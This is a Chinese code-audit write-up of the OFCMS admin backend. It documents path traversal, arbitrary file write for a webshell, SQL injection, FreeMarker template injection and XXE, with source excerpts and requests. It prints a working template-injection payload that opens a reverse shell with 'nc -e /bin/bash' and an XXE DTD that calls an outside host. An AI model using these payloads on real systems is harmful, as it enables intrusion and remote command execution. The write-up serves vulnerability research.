前言
代码写累了,继续搞搞审计
分析
路径遍历/文件读取
前台没啥东西,直接进后台看看。发现有个模版设置,这种地方一般可以更改页面,写shell啥的,如果没做过滤的话。
抓一个包看看,这些参数我们可控
GET /ofcms_admin_war/admin/cms/template/getTemplates.html?file_name=index.html&dir=/&dir_name=/
|
根据路径定位到代码中,在TemplateController.java
中,有个getTemplates
方法可以渲染模版文件
这里接收我们传入的参数
public void getTemplates() {
String dirName = getPara("dir",""); String upDirName = getPara("up_dir","/"); String resPath = getPara("res_path"); String dir = null; if(!"/".equals(upDirName)){ dir = upDirName+dirName; }else{ dir = dirName; } File pathFile = null; if("res".equals(resPath)){ pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir); }else { pathFile = new File(SystemUtile.getSiteTemplatePath(),dir); } ...
|
并且没有对目录名做限制,比如../
,但是对文件名后缀有限制
File[] files = pathFile.listFiles(new FileFilter() { @Override public boolean accept(File file) { return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml") || file.getName().endsWith(".css") || file.getName().endsWith(".js")); } });
|
得到文件名和目录后,会循环读出文件内容
if (fileName != null && files != null && files.length > 0) { for (File f : files) { if (fileName.equals(f.getName())) { editFile = f; break; } } if (editFile == null) { editFile = files[0]; fileName = editFile.getName(); } }
setAttr("file_name", fileName); if (editFile != null) { String fileContent = FileUtils.readString(editFile); if (fileContent != null) { fileContent = fileContent.replace("<", "<").replace(">", ">"); setAttr("file_content", fileContent); setAttr("file_path", editFile); } }
|
尝试穿越目录,发现已经读不到index.html了,说明是成功的
我们当前所在的目录是WEB-INF/page/default/
,可以尝试去读其他文件下的文件,比如jquery-1.10.1.min.js,web.xml这种后缀没有被过滤的配置文件
都是可以成功读到的
文件上传
其中还有一个save方法
public void save() { String resPath = getPara("res_path"); File pathFile = null; if("res".equals(resPath)){ pathFile = new File(SystemUtile.getSiteTemplateResourcePath()); }else { pathFile = new File(SystemUtile.getSiteTemplatePath()); } String dirName = getPara("dirs"); if (dirName != null) { pathFile = new File(pathFile, dirName); } String fileName = getPara("file_name"); String fileContent = getRequest().getParameter("file_content"); fileContent = fileContent.replace("<", "<").replace(">", ">"); File file = new File(pathFile, fileName); FileUtils.writeString(file, fileContent); rendSuccessJson(); }
|
点保存可以抓个包
POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1 Host: localhost:8082 Content-Length: 201 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost:8082 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8082/ofcms_admin_war/admin/cms/template/getTemplates.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=8E14C550C62D9AF51B22E85F263D31D1 Connection: close
file_path=&dirs=&res_path=&file_name=&file_content=
|
可以修改模版,文件名和内容我们都可控,可以发现代码里也是没有任何过滤,直接将file_name和pathFile拼接了。
然后直接将对应内容写入,所以我们可以写入木马,连接webshell
sql注入
在代码生成处的增加表存在sql注入
直接传个单引号发现会报错
按照黑盒测试的思路,直接上sqlmap跑跑看,开始跑出是mysql,但是跑不出具体payload,将level提高到3就跑出来了。报错注入。
我们跟进到具体的代码,在控制器SystemGenerateController.java
public void create() { try { String sql = getPara("sql"); Db.update(sql); rendSuccessJson(); } catch (Exception e) { e.printStackTrace(); rendFailedJson(ErrorCode.get("9999"), e.getMessage()); } }
|
就三行,再跟进update,一直到这里
int update(Config config, Connection conn, String sql, Object... paras) throws SQLException { PreparedStatement pst = conn.prepareStatement(sql); config.dialect.fillStatement(pst, paras); int result = pst.executeUpdate(); DbKit.close(pst); return result; }
|
看到这里,虽然是用了预编译,但是并没有采取占位符进行参数化查询,直接executeUpdate执行了。所以等于没有过滤。
freemarker模版注入
引入了又漏洞的模版依赖
https://www.cnblogs.com/nice0e3/p/16217471.html
https://tttang.com/archive/1412/#toc_0x01-freemarker
漏洞位置依然在后台模版文件处,我们可以修改相关页面。添加利用poc。
<#assign value="freemarker.template.utility.Execute"?new()>${value("nc -e /bin/bash ip port")}
|
再去前台刷新about页面,就会执行命令,实现模版注入
XXE
在src/main/java/com/ofsoft/cms/admin/controller/ReprotAction.java
的export方法中
这里获取文件路径和文件名
public void expReport() { HttpServletResponse response = getResponse(); Map<String, Object> hm = getParamsMap(); String jrxmlFileName = (String) hm.get("j"); jrxmlFileName = "/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"; File file = new File(PathKit.getWebRootPath() + jrxmlFileName); String fileName = (String) hm.get("reportName"); log.info("报表文件名[{}]", file.getPath()); OutputStream out = null;
|
文件名可控,但是后缀写死了。file对象直接拼接了文件路径,所以这里是可以穿越的
下面进入try
JasperCompileManager.compileReport(new FileInputStream(file)), hm,dataSource.getConnection());
|
这里传入file对象,就是jrxml的文件内容,然后一直跟进
public JasperReport compile(InputStream inputStream) throws JRException { JasperDesign jasperDesign = JRXmlLoader.load(inputStream); return this.compile(jasperDesign); }
|
可以发现这里就直接解析了xml文件,没有过滤。
所以利用思路,我们可以利用前面的文件上传,上传一个jrxml文件
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://ip:port"> %xxe;]>
|
然后访问
http://localhost:8082/ofcms_admin_war/admin/reprot/expReport.html?j=../../static/kk
|
成功接到http请求